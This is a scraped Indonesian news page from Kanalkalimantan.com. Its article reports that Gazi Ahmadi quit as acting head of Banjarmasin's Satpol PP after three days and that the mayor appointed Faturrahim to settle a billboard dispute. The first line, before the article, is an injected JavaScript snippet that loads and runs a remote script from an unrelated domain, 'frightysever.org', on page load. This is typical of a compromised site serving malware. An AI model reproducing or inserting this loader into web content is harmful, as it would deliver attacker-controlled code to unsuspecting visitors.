(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Tiga Hari Jabat Plt Kepala Satpol PP, Gazi Ahmadi Diganti Faturrahim


KANALKALIMANTAN.COM, BANJARMASIN – Hanya tiga hari menjabat Pelaksana Tugas (Plt) Kepala Satpol PP dan Damkar Kota Banjarmasin, terhitung sejak Senin (22/6/2020), Gazi Ahmadi menyatakan mundur. Asisten I Setdako Banjarmasin tersebut menyampaikan pengunduran diri kepada Wali Kota Ibnu Sina dengan alasan keluarga.

Ihwal pengunduran diri Gazi, dibenarkan Ibnu Sina saat ditanya media, pada Jumat (26/6/2020).

“Ya, kemarin beliau menyatakan mengundurkan diri dengan alasan keluarga,” kata Ibnu.

Lantas, siapa yang akan mengisi kekosongan jabatan Plt. Kasatpol PP? Ibnu mengaku sudah menunjuk Dr Faturrahim untuk menggantikan Gazi. Faturrahim merupakan Staf Ahli Wali Kota Banjarmasin dan pernah menjabat sebagai Sekretaris DPRD Kota Banjarmasin. Ia mulai aktif menjabat Plt Kasatpol PP Kota Banjarmasin terhitung hari ini, Jumat (26/6/2020). “Tadi pagi sudah saya informasikan. Pak Sekda sudah memproses untuk pembuatan SK-nya,” lugas Ibnu.

Ia meminta kepada pejabat baru ini, untuk segera menyelesaikan permasalahan bando reklame, yang merupakan muara dari permasalahan Pemko Banjarmasin dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan.

“Kemudian segera dibereskan yang berserakan di jalan, karena mengganggu pengguna jalan. Saya juga khawatir kalau menimbulkan kecelakaan. Termasuk yang dipotong separuh untuk dibereskan,” jelas Ibnu.

Disamping itu, Ibnu juga sudah meminta penjelasan dari Kabag Hukum Setdako Banjarmasin soal isi Perda Nomor 16 Tahn 2014. Disebutkan bahwa tidak ada yang saling bertentangan antara Perda ini dengan Permen PU Nomor 20 Tahun 2010. “Hanya kita saja yang memahaminya berbeda. Saya minta tafsir ini bagaimana, sih? Yang dibolehkan itu bando di lapangan. Kalau di tengah jalan tidak boleh. Coba dibaca lagi perdanya,” tukas Ibnu.

Seperti diketahui, Ichwan Noor Chalik yang tadinya menjabat Plt. Kasatpol PP Kota Banjarmasin dicopot pada Senin (22/6/2020) lantaran melakukan penertiban bando reklame pada Jumat (18/6/2020). Buntut dari penertiban ini, APPSI Kalsel lantas melaporkan Ichwan ke Polda Kalsel. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell

Desy Arfianty

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

1 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

5 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

19 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

20 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

21 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

1 hari ago

This website uses cookies.